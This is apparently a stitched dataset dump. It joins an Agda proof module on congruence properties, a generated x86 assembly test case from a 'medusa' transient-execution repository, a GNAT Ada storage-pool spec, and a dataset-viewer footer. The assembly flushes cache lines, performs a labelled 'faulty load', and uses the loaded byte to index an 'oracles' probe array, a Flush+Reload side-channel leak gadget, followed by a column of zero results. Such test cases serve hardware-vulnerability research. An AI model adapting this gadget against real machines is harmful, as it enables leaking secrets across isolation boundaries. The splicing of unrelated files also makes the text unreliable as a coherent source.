{-# OPTIONS --no-universe-polymorphism #-}
{-# OPTIONS --without-K #-}
module LTC-PCF.Base.Properties where
open import LTC-PCF.Base
------------------------------------------------------------------------------
-- Congruence properties
·-leftCong : ∀ {m n o} → m ≡ n → m · o ≡ n · o
·-leftCong refl = refl
·-rightCong : ∀ {m n o} → n ≡ o → m · n ≡ m · o
·-rightCong refl = refl
succCong : ∀ {m n} → m ≡ n → succ₁ m ≡ succ₁ n
succCong refl = refl
predCong : ∀ {m n} → m ≡ n → pred₁ m ≡ pred₁ n
predCong refl = refl
------------------------------------------------------------------------------
S≢0 : ∀ {n} → succ₁ n ≢ zero
S≢0 S≡0 = 0≢S (sym S≡0)
-- We added Common.Relation.Binary.PropositionalEquality.cong, so this
-- theorem is not necessary.
-- x≡y→Sx≡Sy : ∀ {m n} → m ≡ n → succ₁ m ≡
-- succ₁ n x≡y→Sx≡Sy refl = refl
|
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_243.asm | ljhsiun2/medusa | 9 | 82021 | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x105a9, %r8
clflush (%r8)
nop
nop
nop
nop
nop
add %r13, %r13
mov $0x6162636465666768, %r9
movq %r9, %xmm6
movups %xmm6, (%r8)
nop
and %r8, %r8
lea addresses_D_ht+0xe595, %rsi
lea addresses_UC_ht+0x11ff3, %rdi
add $24139, %rbx
mov $24, %rcx
rep movsl
nop
nop
nop
nop
nop
sub $15862, %r13
lea addresses_normal_ht+0x15ab5, %r8
clflush (%r8)
nop
nop
xor $12608, %rdi
mov (%r8), %cx
nop
nop
nop
and $2452, %rbx
lea addresses_A_ht+0x4b35, %r13
nop
sub $1438, %rcx
mov (%r13), %rbx
nop
nop
cmp %r13, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r14
push %r9
push %rdi
// Store
lea addresses_D+0xb75, %r9
nop
add %rdi, %rdi
movl $0x51525354, (%r9)
dec %r9
// Faulty Load
lea addresses_WC+0x7175, %r11
nop
cmp %r12, %r12
mov (%r11), %r14w
lea oracles, %rdi
and $0xff, %r14
shlq $12, %r14
mov (%rdi,%r14,1), %r14
pop %rdi
pop %r9
pop %r14
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_D', 'AVXalign': False, 'size': 4}}
[Faulty Load]
{'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}}
{'src': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
tools-src/gnu/gcc/gcc/ada/s-pooloc.ads | enfoTek/tomato.linksys.e2000.nvram-mod | 80 | 28106 | <reponame>enfoTek/tomato.linksys.e2000.nvram-mod<gh_stars>10-100
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S Y S T E M . P O O L _ L O C A L --
-- --
-- S p e c --
-- --
-- $Revision$
-- --
-- Copyright (C) 1992-1998, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, --
-- MA 02111-1307, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with System.Storage_Elements;
with System.Pool_Global;
package System.Pool_Local is
pragma Elaborate_Body;
-- Needed to ensure that library routines can execute allocators
----------------------------
-- Unbounded_Reclaim_Pool --
----------------------------
-- Allocation strategy:
-- Call to malloc/free for each Allocate/Deallocate
-- no user specifiable size
-- Space of allocated objects is reclaimed at pool finalization
-- Manages a list of allocated objects
-- Default pool in the compiler for access types locally declared
type Unbounded_Reclaim_Pool is new
System.Pool_Global.Unbounded_No_Reclaim_Pool with
record
First : System.Address := Null_Address;
end record;
-- function Storage_Size is inherited
procedure Allocate
(Pool : in out Unbounded_Reclaim_Pool;
Address : out System.Address;
Storage_Size : System.Storage_Elements.Storage_Count;
Alignment : System.Storage_Elements.Storage_Count);
procedure Deallocate
(Pool : in out Unbounded_Reclaim_Pool;
Address : System.Address;
Storage_Size : System.Storage_Elements.Storage_Count;
Alignment : System.Storage_Elements.Storage_Count);
procedure Finalize (Pool : in out Unbounded_Reclaim_Pool);
end System.Pool_Local;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.